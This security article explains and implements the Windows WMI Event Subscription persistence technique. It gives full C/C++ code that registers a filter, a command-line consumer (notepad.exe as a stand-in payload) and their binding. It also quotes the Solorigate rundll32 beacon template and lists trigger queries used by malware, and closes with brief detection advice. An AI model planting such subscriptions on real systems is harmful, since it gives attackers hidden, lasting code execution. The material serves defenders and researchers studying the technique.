Persistence and Privilege Escalation on Windows via Windows Management Instrumentation Event Subscription

This article demonstrates a persistence and/or privilege escalation technique documented as “Windows Management Instrumentation Event Subscription” T1546.003 in the MITRE ATT&CK [1] framework. Implementations are available in VBA [20], C# [3], Python (Impacket) [16]. There is already an implementation in C/C++ [7], however not from the perspective of security. WMI Event Subscription has been extensively analyzed in the past [4], [8], [9], [12], [13], [14] and as such, the actual analysis is beyond the focus of this article.

WMI Event Subscription is a popular persistence technique and has been used by attackers in many incidents ranging from coin mining [4], [10] to advanced espionage attacks [2](APT29), [15](Turla), [21]) with the most significant of which is Solorigate [11].

The article is layed out in the following sections:

Review of the technique

To create an event subscription and establish persistence three key instances are required:

EventConsumers can be:

The source code provided in the next section implements a CommandLineEventConsumer. A challenging aspect is to pass a CIMTYPE reference to the IWbemClassObject::Put method [5]. Thankfully, other people have came across the issue [6] and a kind soul has provided with their own implementation [7].

Implementation in C/C++

This section provides the implementation of the technique in C/C++. The field “ExecutablePath” can point to native Windows utilities for payload execution to add an additional layer of defence evasion. An example to mention is the event consumer that the attackers in Solorigate [11] used:

commandlinetemplate = "c:\\windows\\system32\\rundll32.exe c:\\windows\\[folder]\\[beacon].dll, [export]";
executablepath = "c:\\windows\\system32\\rundll32.exe";

The code:

INT WMIPersistence(WCHAR* Name)
{
	/*
		WCHAR Name[] = L"TestWMI";
		INT res = WMIPersistence(Name);
		if (!res)
		{
			::wprintf(L"[-] WMIPersistence has failed\n");
		}
	*/ 

	HRESULT hr;
	hr = CoInitializeEx(0, COINIT_MULTITHREADED);
	if (FAILED(hr))
	{
		::wprintf(L"[-] CoInitializeEx has failed\n");
		return 0;
	}

	hr = CoInitializeSecurity(
		NULL,
		-1,
		NULL,
		NULL,
		RPC_C_AUTHN_LEVEL_DEFAULT,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NONE,
		NULL
	);
	if (FAILED(hr))
	{
		::wprintf(L"[-] CoInitializeSecurity has failed\n");
		CoUninitialize();
		return 0;
	}

	IWbemLocator* pLoc = 0;
	hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
	if (FAILED(hr))
	{
		::wprintf(L"[-] CoCreateInstance has failed\n");
		CoUninitialize();
		return 0;
	}

	IWbemServices* pSvc = 0;
	hr = pLoc->ConnectServer(BSTR(L"ROOT\\subscription"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
	if (FAILED(hr))
	{
		::wprintf(L"[-] ConnectServer has failed\n");
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	hr = CoSetProxyBlanket(
		pSvc,
		RPC_C_AUTHN_WINNT,
		RPC_C_AUTHZ_NONE,
		NULL,
		RPC_C_AUTHN_LEVEL_CALL,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NONE
	);
	if (FAILED(hr))
	{
		::wprintf(L"[-] CoSetProxyBlanket has failed\n");
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	IWbemClassObject* pClass = 0;
	BSTR Clname = BSTR(L"__EventFilter");
	hr = pSvc->GetObject(Clname, 0, NULL, &pClass, NULL);

	IWbemClassObject* pClassInstance = NULL;
	hr = pClass->SpawnInstance(0, &pClassInstance);
	if (FAILED(hr))
	{
		::wprintf(L"[-] SpawnInstance __EventFilter has failed\n");
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// EventFilter Name
	VARIANT vString;
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(Name);

	HANDLE hHeap = GetProcessHeap();
	VOID* mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, MAX_STRING_LENGTH);

	MoveMemory(mem, L"Name", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// EventFilter EventNameSpace
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(L"ROOT\\cimv2");

	MoveMemory(mem, L"EventNamespace", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// EventFilter QueryLanguage
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(L"WQL");

	MoveMemory(mem, L"QueryLanguage", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// EventFilter QueryLanguage
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(L"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND (TargetInstance.Second = 30 AND (TargetInstance.Minute = 0 OR TargetInstance.Minute = 15 OR TargetInstance.Minute = 30 OR TargetInstance.Minute = 45))");

	MoveMemory(mem, L"Query", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	VariantClear(&vString);

	hr = pSvc->PutInstance(pClassInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
	if (FAILED(hr))
	{
		::wprintf(L"[-] PutInstance has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	pClassInstance->Release();
	pClass->Release();

	::wprintf(L"[+] EventFilter successfully created\n");
	system("pause");

	pClass = 0;
	Clname = BSTR(L"CommandLineEventConsumer");
	hr = pSvc->GetObject(Clname, 0, NULL, &pClass, NULL);
	if (FAILED(hr))
	{
		::wprintf(L"[-] GetObject has failed\n");
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	pClassInstance = NULL;
	hr = pClass->SpawnInstance(0, &pClassInstance);
	if (FAILED(hr))
	{
		::wprintf(L"[-] SpawnInstance has failed\n");

		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// Consumer Name
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(Name);

	MoveMemory(mem, L"Name", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	VariantClear(&vString);

	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(L"C:\\Windows\\System32\\notepad.exe");

	MoveMemory(mem, L"ExecutablePath", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, 0);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	VariantClear(&vString);

	hr = pSvc->PutInstance(pClassInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
	if (FAILED(hr))
	{
		::wprintf(L"[-] PutInstance has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	::wprintf(L"[+] EventConsumer successfully created\n");
	pClass->Release();

	// filter to consumer binding
	pClass = 0;
	Clname = BSTR(L"__FilterToConsumerBinding");
	hr = pSvc->GetObject(Clname, 0, NULL, &pClass, NULL);

	pClassInstance = NULL;
	hr = pClass->SpawnInstance(0, &pClassInstance);
	if (FAILED(hr))
	{
		::wprintf(L"[-] SpawnInstance __FilterToConsumerBinding has failed\n");
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}

	// put consumer reference
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	_bstr_t pName = SysAllocString(Name);
	V_BSTR(&vString) = _bstr_t(L"CommandLineEventConsumer.Name=\"" + pName + L"\"");

	MoveMemory(mem, L"Consumer", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, CIM_REFERENCE);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	VariantClear(&vString);

	// put filter reference
	VariantInit(&vString);
	V_VT(&vString) = VT_BSTR;
	V_BSTR(&vString) = _bstr_t(L"__EventFilter.Name=\"" + pName + L"\"");

	MoveMemory(mem, L"Filter", MAX_STRING_LENGTH);
	hr = pClassInstance->Put((LPCWSTR)mem, 0, &vString, CIM_REFERENCE);
	if (FAILED(hr))
	{
		::wprintf(L"[-] Put has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	HeapFree(hHeap, 0, mem);
	VariantClear(&vString);

	hr = pSvc->PutInstance(pClassInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
	if (FAILED(hr))
	{
		::wprintf(L"[-] PutInstance has failed %x\n", hr);
		VariantClear(&vString);
		pClassInstance->Release();
		pClass->Release();
		pSvc->Release();
		pLoc->Release();
		CoUninitialize();
		return 0;
	}
	::wprintf(L"[+] FilterToConsumerBinding successfully created\n");

	// cleanup
	pClassInstance->Release();
	pClass->Release();
	pSvc->Release();
	pLoc->Release();
	CoUninitialize();

	return 1;
}

Useful Event Filters for persistence

There are a number of WQL [22] queries that can be used as event filters to achieve persistent execution. This section provides queries that have been used in the past by malware and ideas for additional filters.

Scheduled execution once every day:

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_LocalTime’ AND TargetInstance.Hour = 11 AND TargetInstance.Second = 30 AND TargetInstance.Minute = 30

Filter to trigger execution when a USB is mounted on a host:

SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_LogicalDisk’

And another one:

SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_USBHub’

Filter to execute when a session is launched(executes multiple times):

SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_Session’

* The WITHIN clause is used as a polling interval, for more information see [18].

The WMI namespace “ROOT/CIMV2” includes many useful classes that can be used as event filters. With the tool WMI Explorer [19] a further research to identify suitable candidates can be conducted.

Detection Opportunities

It is important for anyone who is monitoring a Windows environment to develope capabilities to collect, parse, analyze and eventually alert on suspicious EventConsumers. The focus should be on EventConsumers as these are the components that point to executable files or scripts. An example of detections is what Elastic has implemented [17].

Tools

References

[1] https://attack.mitre.org/techniques/T1546/003/

[2] https://www.mandiant.com/resources/dissecting-one-ofap - Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY)

[3] https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-3-wmi-event-subscription/ - Persistence: “the continued or prolonged existence of something”: Part 3 - WMI Event Subscription

[4] https://www.trendmicro.com/en_gb/research/17/h/cryptocurrency-miner-uses-wmi-eternalblue-spread-filelessly.html

[5] https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemclassobject-put

[6] https://stackoverflow.com/questions/59493000/c-and-wmi-pass-a-reference-to-a-cim-class-in-the-iwbemclassobjectput-method

[7] https://github.com/spmana/WMIWrapper/tree/master

[8] https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf - Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor

[9] https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf - A Decade of WMI Abuse - an Overview of Techniques in Modern Malware

[10] https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/

[11] https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

[12] https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

[13] https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation

[14] https://www.sans.org/blog/investigating-wmi-attacks/

[15] https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

[16] https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmipersist.py - Impacket’s WMIPersist

[17] https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1)

[18] https://docs.microsoft.com/en-us/windows/win32/wmisdk/within-clause - WITHIN Clause

[19] https://github.com/vinaypamnani/wmie2

[20] https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81 - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run

[21] https://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/

[22] https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi